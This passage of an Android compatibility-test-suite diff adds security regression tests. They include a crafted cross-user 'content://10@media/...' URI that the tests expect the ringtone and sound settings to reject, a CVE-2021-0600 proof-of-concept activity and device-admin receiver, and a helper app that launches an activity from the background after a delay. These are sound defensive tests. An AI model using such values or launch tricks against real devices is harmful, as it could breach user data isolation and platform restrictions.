.setContentTitle("Title")
diff --git a/tests/tests/os/jni/android_os_cts_PerformanceHintManagerTest.cpp b/tests/tests/os/jni/android_os_cts_PerformanceHintManagerTest.cpp
index 4d06b6c4016..e51a83571fa 100644
--- a/tests/tests/os/jni/android_os_cts_PerformanceHintManagerTest.cpp
+++ b/tests/tests/os/jni/android_os_cts_PerformanceHintManagerTest.cpp
@@ -170,8 +170,8 @@ static jstring nativeTestSetThreadsWithInvalidTid(JNIEnv* env, jobject) {
std::vector<pid_t> tids;
tids.push_back(2);
int result = APerformanceHint_setThreads(wrapper.session(), tids.data(), 1);
- if (result != EINVAL) {
- return toJString(env, "setThreads did not return EINVAL");
+ if (result != EINVAL && result != EPERM) {
+ return toJString(env, "setThreads did not return EINVAL nor EPERM");
}
return nullptr;
}
diff --git a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt
index 75f079e73e7..76b860e429c 100644
--- a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt
+++ b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt
@@ -53,6 +53,7 @@ import java.io.File
import java.util.concurrent.CompletableFuture
import java.util.concurrent.LinkedBlockingQueue
import java.util.concurrent.TimeUnit
+import java.util.regex.Pattern
import org.junit.After
import org.junit.Assert
import org.junit.Before
@@ -369,7 +370,16 @@ open class PackageInstallerTestBase {
* @param resId The resource ID of the button to click
*/
fun clickInstallerUIButton(resId: String) {
- clickInstallerUIButton(By.res(PACKAGE_INSTALLER_PACKAGE_NAME, resId))
+ clickInstallerUIButton(getBySelector(resId))
+ }
+
+ private fun getBySelector(id: String): BySelector {
+ // Normally, we wouldn't need to look for buttons from 2 different packages.
+ // However, to fix b/297132020, AlertController was replaced with AlertDialog and shared
+ // to selective partners, leading to fragmentation in which button surfaces in an OEM's
+ // installer app.
+ return By.res(Pattern.compile(String.format(
+ "(?:^%s|^%s):id/%s", PACKAGE_INSTALLER_PACKAGE_NAME, SYSTEM_PACKAGE_NAME, id)))
}
/**
diff --git a/tests/tests/packageinstaller/packagescheme/src/android/packageinstaller/packagescheme/cts/PackageSchemeTestBase.kt b/tests/tests/packageinstaller/packagescheme/src/android/packageinstaller/packagescheme/cts/PackageSchemeTestBase.kt
index 1f4c9bb0e6f..9686c6d5df5 100644
--- a/tests/tests/packageinstaller/packagescheme/src/android/packageinstaller/packagescheme/cts/PackageSchemeTestBase.kt
+++ b/tests/tests/packageinstaller/packagescheme/src/android/packageinstaller/packagescheme/cts/PackageSchemeTestBase.kt
@@ -30,6 +30,7 @@ import androidx.test.core.app.ActivityScenario
import androidx.test.core.app.ApplicationProvider
import androidx.test.platform.app.InstrumentationRegistry
import androidx.test.uiautomator.By
+import androidx.test.uiautomator.BySelector
import androidx.test.uiautomator.UiDevice
import androidx.test.uiautomator.UiObject2
import androidx.test.uiautomator.Until
@@ -40,6 +41,7 @@ import java.util.concurrent.ArrayBlockingQueue
import java.util.concurrent.CountDownLatch
import java.util.concurrent.TimeUnit
import java.util.function.Supplier
+import java.util.regex.Pattern
import org.junit.After
import org.junit.Before
@@ -144,17 +146,13 @@ open class PackageSchemeTestBase {
mScenario!!.onActivity {
val button: UiObject2?
val btnName: String
- // When the installed package is found, the dialog box shown is owned by
- // com.android.packageinstaller (ag/19602120). On the other hand, when an error
- // dialog box is shown due to app not being present or due to
- // visibility constraints, the dialog box is owned by the system
if (packageHasVisibility && needTargetApp) {
- button = mUiDevice.wait(Until.findObject(By.res(PACKAGE_INSTALLER_PACKAGE_NAME,
- NEGATIVE_BTN_ID)), DEFAULT_TIMEOUT)
+ button = mUiDevice.wait(
+ Until.findObject(getBySelector(NEGATIVE_BTN_ID)), DEFAULT_TIMEOUT)
btnName = "Cancel"
} else {
- button = mUiDevice.wait(Until.findObject(By.res(SYSTEM_PACKAGE_NAME,
- POSITIVE_BTN_ID)), DEFAULT_TIMEOUT)
+ button = mUiDevice.wait(
+ Until.findObject(getBySelector(POSITIVE_BTN_ID)), DEFAULT_TIMEOUT)
btnName = "OK"
}
assertWithMessage("$btnName not found").that(button).isNotNull()
@@ -216,4 +214,13 @@ open class PackageSchemeTestBase {
return Intent(Intent.ACTION_INSTALL_PACKAGE)
.setData(Uri.parse("package:$TARGET_APP_PKG_NAME"))
}
+
+ private fun getBySelector(id: String): BySelector {
+ // Normally, we wouldn't need to look for buttons from 2 different packages.
+ // However, to fix b/297132020, AlertController was replaced with AlertDialog and shared
+ // to selective partners, leading to fragmentation in which button surfaces in an OEM's
+ // installer app.
+ return By.res(Pattern.compile(String.format("(?:^%s|^%s):id/%s",
+ PACKAGE_INSTALLER_PACKAGE_NAME, SYSTEM_PACKAGE_NAME, id)))
+ }
}
diff --git a/tests/tests/packageinstaller/tapjacking/src/android/packageinstaller/tapjacking/cts/TapjackingTest.java b/tests/tests/packageinstaller/tapjacking/src/android/packageinstaller/tapjacking/cts/TapjackingTest.java
index d8edc13ce3c..9b2ffce24de 100644
--- a/tests/tests/packageinstaller/tapjacking/src/android/packageinstaller/tapjacking/cts/TapjackingTest.java
+++ b/tests/tests/packageinstaller/tapjacking/src/android/packageinstaller/tapjacking/cts/TapjackingTest.java
@@ -35,7 +35,7 @@ import androidx.test.InstrumentationRegistry;
import androidx.test.core.app.ActivityScenario;
import androidx.test.filters.MediumTest;
import androidx.test.runner.AndroidJUnit4;
-
+import java.util.regex.Pattern;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
@@ -47,6 +47,7 @@ import org.junit.runner.RunWith;
public class TapjackingTest {
private static final String LOG_TAG = TapjackingTest.class.getSimpleName();
+ private static final String SYSTEM_PACKAGE_NAME = "android";
private static final String PACKAGE_INSTALLER_PACKAGE_NAME = "com.android.packageinstaller";
private static final String INSTALL_BUTTON_ID = "button1";
private static final String OVERLAY_ACTIVITY_TEXT_VIEW_ID = "overlay_description";
@@ -92,23 +93,32 @@ public class TapjackingTest {
return mUiDevice.wait(Until.findObject(selector), WAIT_FOR_UI_TIMEOUT);
}
+ private UiObject2 waitForButton(String id) {
+ return mUiDevice.wait(Until.findObject(getBySelector(id)), WAIT_FOR_UI_TIMEOUT);
+ }
+
+ private BySelector getBySelector(String id) {
+ return By.res(Pattern.compile(
+ String.format("(?:^%s|^%s):id/%s", PACKAGE_INSTALLER_PACKAGE_NAME, SYSTEM_PACKAGE_NAME,
+ id)));
+ }
+
@Test
public void testTapsDroppedWhenObscured() throws Exception {
Log.i(LOG_TAG, "launchPackageInstaller");
launchPackageInstaller();
- UiObject2 installButton = waitForView(PACKAGE_INSTALLER_PACKAGE_NAME, INSTALL_BUTTON_ID);
+ UiObject2 installButton = waitForButton(INSTALL_BUTTON_ID);
assertNotNull("Install button not shown", installButton);
Log.i(LOG_TAG, "launchOverlayingActivity");
launchOverlayingActivity();
assertNotNull("Overlaying activity not started",
waitForView(mPackageName, OVERLAY_ACTIVITY_TEXT_VIEW_ID));
- installButton = waitForView(PACKAGE_INSTALLER_PACKAGE_NAME, INSTALL_BUTTON_ID);
+ installButton = waitForButton(INSTALL_BUTTON_ID);
assertNotNull("Cannot find install button below overlay activity", installButton);
Log.i(LOG_TAG, "installButton.click");
installButton.click();
assertFalse("Tap on install button succeeded", mUiDevice.wait(
- Until.gone(By.res(PACKAGE_INSTALLER_PACKAGE_NAME, INSTALL_BUTTON_ID)),
- WAIT_FOR_UI_TIMEOUT));
+ Until.gone(getBySelector(INSTALL_BUTTON_ID)),WAIT_FOR_UI_TIMEOUT));
mUiDevice.pressBack();
}
diff --git a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_PlaylistsTest.java b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_PlaylistsTest.java
index 46c59e71b16..32224c4aea3 100644
--- a/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_PlaylistsTest.java
+++ b/tests/tests/provider/src/android/provider/cts/media/MediaStore_Audio_PlaylistsTest.java
@@ -96,8 +96,12 @@ public class MediaStore_Audio_PlaylistsTest {
c.getString(c.getColumnIndex(Playlists.NAME)));
long realDateAdded = c.getLong(c.getColumnIndex(Playlists.DATE_ADDED));
+ long realDateModified = c.getLong(c.getColumnIndex(Playlists.DATE_MODIFIED));
assertTrue(realDateAdded >= dateAdded);
- assertEquals(dateModified, c.getLong(c.getColumnIndex(Playlists.DATE_MODIFIED)));
+ // Sometimes the realDateModified is less than dateModified by exactly one second.
+ // We've never seen any real issues with that and now the Playlists are deprecated.
+ // Just changing the test to remove flakiness.
+ assertTrue(Math.abs(dateModified - realDateModified) <= 1);
assertTrue(c.getLong(c.getColumnIndex(Playlists._ID)) > 0);
c.close();
} finally {
diff --git a/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java b/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java
index 24440fb7ebb..482cb890af4 100644
--- a/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java
+++ b/tests/tests/provider/src/android/provider/cts/settings/Settings_SystemTest.java
@@ -192,12 +192,45 @@ public class Settings_SystemTest extends StsExtraBusinessLogicTestCase {
final ContentResolver cr = InstrumentationRegistry.getTargetContext().getContentResolver();
final String originalValue = System.getString(cr, System.RINGTONE);
final String invalidUri = "content://10@media/external/audio/media/1000000019";
- System.putString(cr, System.RINGTONE, invalidUri);
+ try {
+ System.putString(cr, System.RINGTONE, invalidUri);
+ } catch (Exception ignored) {
+ // Some implementation of SettingsProvider might throw an exception here, which
+ // is okay, as long as the insertion of the invalid setting fails in the end
+ }
// Assert that the insertion didn't take effect
assertThat(System.getString(cr, System.RINGTONE)).isEqualTo(originalValue);
}
@Test
+ @AsbSecurityTest(cveBugId = 227201030)
+ public void testInvalidAlarmAlertUriIsRejected() {
+ final ContentResolver cr = InstrumentationRegistry.getTargetContext().getContentResolver();
+ final String originalValue = System.getString(cr, System.NOTIFICATION_SOUND);
+ final String invalidUri = "content://10@media/external/audio/media/1000000019";
+ try {
+ System.putString(cr, System.NOTIFICATION_SOUND, invalidUri);
+ } catch (Exception ignored) {
+ }
+ // Assert that the insertion didn't take effect
+ assertThat(System.getString(cr, System.NOTIFICATION_SOUND)).isEqualTo(originalValue);
+ }
+
+ @Test
+ @AsbSecurityTest(cveBugId = 227201030)
+ public void testInvalidNotificationSoundUriIsRejected() {
+ final ContentResolver cr = InstrumentationRegistry.getTargetContext().getContentResolver();
+ final String originalValue = System.getString(cr, System.ALARM_ALERT);
+ final String invalidUri = "content://10@media/external/audio/media/1000000019";
+ try {
+ System.putString(cr, System.ALARM_ALERT, invalidUri);
+ } catch (Exception ignored) {
+ }
+ // Assert that the insertion didn't take effect
+ assertThat(System.getString(cr, System.ALARM_ALERT)).isEqualTo(originalValue);
+ }
+
+ @Test
public void testGetDefaultValues() {
final ContentResolver cr = InstrumentationRegistry.getTargetContext().getContentResolver();
diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp
index ce63982ab2c..3aa25a56a0e 100644
--- a/tests/tests/security/Android.bp
+++ b/tests/tests/security/Android.bp
@@ -92,6 +92,7 @@ android_test {
":CtsPermissionBackupAppCert34",
":CtsPermissionBackupAppCert123",
":CtsPermissionBackupAppCert4History124",
+ ":TileServiceNullBindingTestApp",
],
}
@@ -248,3 +249,61 @@ filegroup {
"test-cert-with-1-2-4-in-rotation-history",
],
}
+
+// PackageSignatureTest is split so that it can be part of GTS suite
+// See b/301094654
+android_test {
+ name: "GtsPackageSignatureTest",
+ defaults: ["cts_defaults"],
+ // Include both the 32 and 64 bit versions
+ compile_multilib: "both",
+ static_libs: [
+ "androidx.test.ext.junit",
+ "androidx.test.rules",
+ "androidx.test.runner",
+ "android-common",
+ "ctstestserver",
+ "ctstestrunner-axt",
+ "cts-install-lib",
+ "compatibility-device-util-axt",
+ "compatibility-common-util-devicesidelib",
+ "guava",
+ "platform-test-annotations",
+ "permission-test-util-lib",
+ "sts-device-util",
+ "hamcrest-library",
+ "NeneInternal",
+ ],
+ libs: [
+ "android.test.runner",
+ "org.apache.http.legacy",
+ "android.test.base",
+ ],
+ jni_libs: [
+ "libctssecurity_jni",
+ "libcts_jni",
+ "libnativehelper_compat_libc++",
+ "libnativehelper",
+ "libcutils",
+ "libcrypto",
+ "libselinux",
+ "libc++",
+ "libpcre2",
+ "libpackagelistparser",
+ "libcve_2019_2213_jni",
+ ],
+ host_required: ["CtsBackupHostTestCases"],
+ srcs: [
+ "src/android/security/cts/PackageSignatureTest.java",
+ ],
+ platform_apis: true,
+ // Tag this module as a gts test artifact
+ test_suites: [
+ "gts",
+ "general-tests",
+ ],
+ certificate: ":security_cts_test_certificate",
+ per_testcase_directory: true,
+ test_config: "AndroidTest_PackageSignatureTest.xml",
+ manifest: "AndroidManifest_PackageSignatureTest.xml",
+}
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index e7168c2568a..f8d882ba055 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -291,6 +291,19 @@
</intent-filter>
</activity>
+ <activity android:name="android.security.cts.CVE_2021_0600.PocActivity" />
+
+ <receiver android:name="android.security.cts.CVE_2021_0600.PocDeviceAdminReceiver"
+ android:permission="android.permission.BIND_DEVICE_ADMIN"
+ android:exported="true">
+ <meta-data
+ android:name="android.app.device_admin"
+ android:resource="@xml/device_admin_cve_2021_0600" />
+ <intent-filter>
+ <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+ </intent-filter>
+ </receiver>
+
<service android:name="android.security.cts.AttributionSourceService"
android:enabled="true"
android:exported="true"
diff --git a/tests/tests/security/AndroidManifest_PackageSignatureTest.xml b/tests/tests/security/AndroidManifest_PackageSignatureTest.xml
new file mode 100644
index 00000000000..9fd33649027
--- /dev/null
+++ b/tests/tests/security/AndroidManifest_PackageSignatureTest.xml
@@ -0,0 +1,49 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts">
+
+ <permission-tree android:name="com.android.cts"/>
+
+ <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
+ <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
+
+ <!-- For FileIntegrityManager -->
+ <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
+
+ <!-- CVE-2023-21143 -->
+ <uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
+
+ <application android:usesCleartextTraffic="true">
+ <uses-library android:name="android.test.runner"/>
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts"
+ android:label="GTS PackageSignatureTest">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CtsTestRunListener"/>
+ </instrumentation>
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts"
+ android:label="GTS PackageSignatureTest">
+ <meta-data android:name="listener"
+ android:value="com.android.cts.runner.CrashParserRunListener"/>
+ </instrumentation>
+
+</manifest>
diff --git a/tests/tests/security/AndroidTest.xml b/tests/tests/security/AndroidTest.xml
index fc858384128..aa29d2bdc95 100644
--- a/tests/tests/security/AndroidTest.xml
+++ b/tests/tests/security/AndroidTest.xml
@@ -63,6 +63,7 @@
<option name="push" value="CtsPermissionBackupAppCert123.apk->/data/local/tmp/cts/security/CtsPermissionBackupAppCert123.apk" />
<option name="push" value="CtsPermissionBackupAppCert34.apk->/data/local/tmp/cts/security/CtsPermissionBackupAppCert34.apk" />
<option name="push" value="CtsPermissionBackupAppCert4History124.apk->/data/local/tmp/cts/security/CtsPermissionBackupAppCert4History124.apk" />
+ <option name="push" value="TileServiceNullBindingTestApp.apk->/data/local/tmp/cts/security/TileServiceNullBindingTestApp.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/tests/security/AndroidTest_PackageSignatureTest.xml b/tests/tests/security/AndroidTest_PackageSignatureTest.xml
new file mode 100644
index 00000000000..a96440d6769
--- /dev/null
+++ b/tests/tests/security/AndroidTest_PackageSignatureTest.xml
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2023 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for GtsPackageSignatureTest">
+ <option name="test-suite-tag" value="gts" />
+ <option name="config-descriptor:metadata" key="component" value="security" />
+ <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <!-- CtsDeviceInfo target API is 23; instant app requires target API >= 26. -->
+ <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="run_on_sdk_sandbox" />
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="GtsPackageSignatureTest.apk" />
+ </target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.CrashReporter" />
+
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="teardown-command"
+ value="pm uninstall --user 0 android.security.cts" />
+ </target_preparer>
+
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="mkdir -p /data/local/tmp/cts/security" />
+ <option name="teardown-command" value="rm -rf /data/local/tmp/cts"/>
+ </target_preparer>
+
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.security.cts" />
+ <!-- test-timeout unit is ms, value = 15 min -->
+ <option name="test-timeout" value="900000" />
+ <option name="hidden-api-checks" value="false" />
+ </test>
+
+</configuration>
diff --git a/hostsidetests/angle/app/gameDriverTest/Android.bp b/tests/tests/security/TileServiceNullBindingTestApp/Android.bp
index 749f8cf8835..149550890a4 100644
--- a/hostsidetests/angle/app/gameDriverTest/Android.bp
+++ b/tests/tests/security/TileServiceNullBindingTestApp/Android.bp
@@ -1,4 +1,5 @@
-// Copyright (C) 2021 The Android Open Source Project
+//
+// Copyright (C) 2020 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
@@ -11,26 +12,21 @@
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
+//
package {
default_applicable_licenses: ["Android-Apache-2.0"],
}
android_test_helper_app {
- name: "CtsAngleGameDriverTestCases",
- defaults: ["cts_support_defaults"],
+ name: "TileServiceNullBindingTestApp",
srcs: [
- "src/**/*.java",
+ "src/**/*.kt",
],
- // tag this module as a cts test artifact
- test_suites: [
- "cts",
- "general-tests",
- ],
- compile_multilib: "both",
static_libs: [
- "ctstestrunner-axt",
- "androidx.test.rules",
- "AngleIntegrationTestCommon",
+ "kotlin-stdlib",
],
+
+ min_sdk_version: "30",
+ target_sdk_version: "33",
}
diff --git a/tests/tests/security/TileServiceNullBindingTestApp/AndroidManifest.xml b/tests/tests/security/TileServiceNullBindingTestApp/AndroidManifest.xml
new file mode 100644
index 00000000000..c7193769bdc
--- /dev/null
+++ b/tests/tests/security/TileServiceNullBindingTestApp/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+ ~ Copyright (C) 2021 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.tileservice">
+
+
+ <application android:label="TileService Null Binding Test App"
+ android:icon="@android:drawable/ic_info">
+ <activity android:name=".BackgroundLaunchActivity"
+ android:exported="false">
+ </activity>
+ <activity android:name=".ActivityStarterActivity"
+ android:exported="true">
+ </activity>
+ <service android:name=".NullBindingTileService"
+ android:label="Tile Service"
+ android:exported="true"
+ android:icon="@android:drawable/ic_info"
+ android:permission="android.permission.BIND_QUICK_SETTINGS_TILE">
+ <intent-filter>
+ <action android:name="android.service.quicksettings.action.QS_TILE" />
+ </intent-filter>
+ </service>
+ </application>
+</manifest>
diff --git a/tests/tests/security/TileServiceNullBindingTestApp/src/android/security/cts/tileservice/ActivityStarterActivity.kt b/tests/tests/security/TileServiceNullBindingTestApp/src/android/security/cts/tileservice/ActivityStarterActivity.kt
new file mode 100644
index 00000000000..3d73c04ca82
--- /dev/null
+++ b/tests/tests/security/TileServiceNullBindingTestApp/src/android/security/cts/tileservice/ActivityStarterActivity.kt
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.tileservice
+
+import android.app.Activity
+import android.content.Intent
+import android.os.Bundle
+import android.os.Handler
+import android.widget.FrameLayout
+
+class ActivityStarterActivity : Activity() {
+
+ override fun onCreate(savedInstanceState: Bundle?) {
+ super.onCreate(savedInstanceState)
+ setContentView(FrameLayout(this))
+ }
+
+ override fun onResume() {
+ super.onResume()
+ Handler().postDelayed({
+ startActivity(Intent(applicationContext, BackgroundLaunchActivity::class.java))
+ }, DELAY)
+ minimizeApp()
+ }
+
+ private fun minimizeApp() {
+ val startMain = Intent(Intent.ACTION_MAIN)
+ startMain.addCategory(Intent.CATEGORY_HOME)
+ startMain.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ startActivity(startMain)
+ }
+
+ companion object {
+ private const val DELAY = 15000L
+ }
+}
diff --git a/tests/tests/security/TileServiceNullBindingTestApp/src/android/security/cts/tileservice/BackgroundLaunchActivity.kt b/tests/tests/security/TileServiceNullBindingTestApp/src/android/security/cts/tileservice/BackgroundLaunchActivity.kt
new file mode 100644
index 00000000000..43244eedbcb
--- /dev/null
+++ b/tests/tests/security/TileServiceNullBindingTestApp/src/android/security/cts/tileservice/BackgroundLaunchActivity.kt
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.tileservice
+
+import android.app.Activity
+import android.content.Intent
+import android.os.Bundle
+
+class BackgroundLaunchActivity : Activity() {
+ override fun onCreate(savedInstanceState: Bundle?) {
+ super.onCreate(savedInstanceState)
+ sendBroadcast(Intent(BACKGROUND_ACTIVITY_STARTED))
+ finish()
+ }
+
+ companion object {
+ private const val BACKGROUND_ACTIVITY_STARTED =
+ "android.security.cts.tileservice.BACKGROUND_ACTIVITY_STARTED"
+ }
+}
diff --git a/tests/tests/security/TileServiceNullBindingTestApp/src/android/security/cts/tileservice/NullBindingTileService.kt b/tests/tests/security/TileServiceNullBindingTestApp/src/android/security/cts/tileservice/NullBindingTileService.kt
new file mode 100644
index 00000000000..7ff03826df3
--- /dev/null
+++ b/tests/tests/security/TileServiceNullBindingTestApp/src/android/security/cts/tileservice/NullBindingTileService.kt
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.tileservice
+
+import android.content.Intent
+import android.os.IBinder
+import android.service.quicksettings.TileService
+
+class NullBindingTileService : TileService() {
+ override fun onBind(intent: Intent?): IBinder? {
+ return null.also {
+ sendBroadcast(Intent(ON_NULL_BINDING))
+ }
+ }
+
+ companion object {
+ private const val ON_NULL_BINDING = "android.security.cts.tileservice.ON_NULL_BINDING"
+ }
+}
diff --git a/tests/tests/security/res/raw/sig_android_telephony_cts_testkey.bin b/tests/tests/security/res/raw/sig_android_telephony_cts_testkey.bin
new file mode 100644
index 00000000000..7e2dc3ebabc
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_android_telephony_cts_testkey.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_build_bazel_examples_apex_minimal.bin b/tests/tests/security/res/raw/sig_build_bazel_examples_apex_minimal.bin
new file mode 100644
index 00000000000..5add3a77f13
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_build_bazel_examples_apex_minimal.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_cert.bin b/tests/tests/security/res/raw/sig_cert.bin
new file mode 100644
index 00000000000..f42b8ae1e86
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_cert.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_adbd.bin b/tests/tests/security/res/raw/sig_com_android_adbd.bin
new file mode 100644
index 00000000000..aceb985ca47
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_adbd.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_adservices.bin b/tests/tests/security/res/raw/sig_com_android_adservices.bin
new file mode 100644
index 00000000000..b5b920ba094
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_adservices.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_adservices_api.bin b/tests/tests/security/res/raw/sig_com_android_adservices_api.bin
new file mode 100644
index 00000000000..d5c4a295f88
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_adservices_api.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_appsearch.bin b/tests/tests/security/res/raw/sig_com_android_appsearch.bin
new file mode 100644
index 00000000000..f133a7ba4eb
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_appsearch.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_art.bin b/tests/tests/security/res/raw/sig_com_android_art.bin
new file mode 100644
index 00000000000..508c56c90b8
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_art.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_bluetooth.bin b/tests/tests/security/res/raw/sig_com_android_bluetooth.bin
new file mode 100644
index 00000000000..3d397c0048f
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_bluetooth.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_btservices.bin b/tests/tests/security/res/raw/sig_com_android_btservices.bin
new file mode 100644
index 00000000000..9ee766c0ffb
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_btservices.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_car_framework.bin b/tests/tests/security/res/raw/sig_com_android_car_framework.bin
new file mode 100644
index 00000000000..f3b7e787d4a
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_car_framework.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_cellbroadcast.bin b/tests/tests/security/res/raw/sig_com_android_cellbroadcast.bin
new file mode 100644
index 00000000000..bad7b6c8786
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_cellbroadcast.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_compos.bin b/tests/tests/security/res/raw/sig_com_android_compos.bin
new file mode 100644
index 00000000000..d4ba69a9ea2
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_android_compos.bin
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_android_connectivity_resources.bin b/tests/tests/security/res/raw/sig_com_android_connectivity_resources.bin
new file mode 100644
index 00000000000..e89a5520692
--- /dev/null
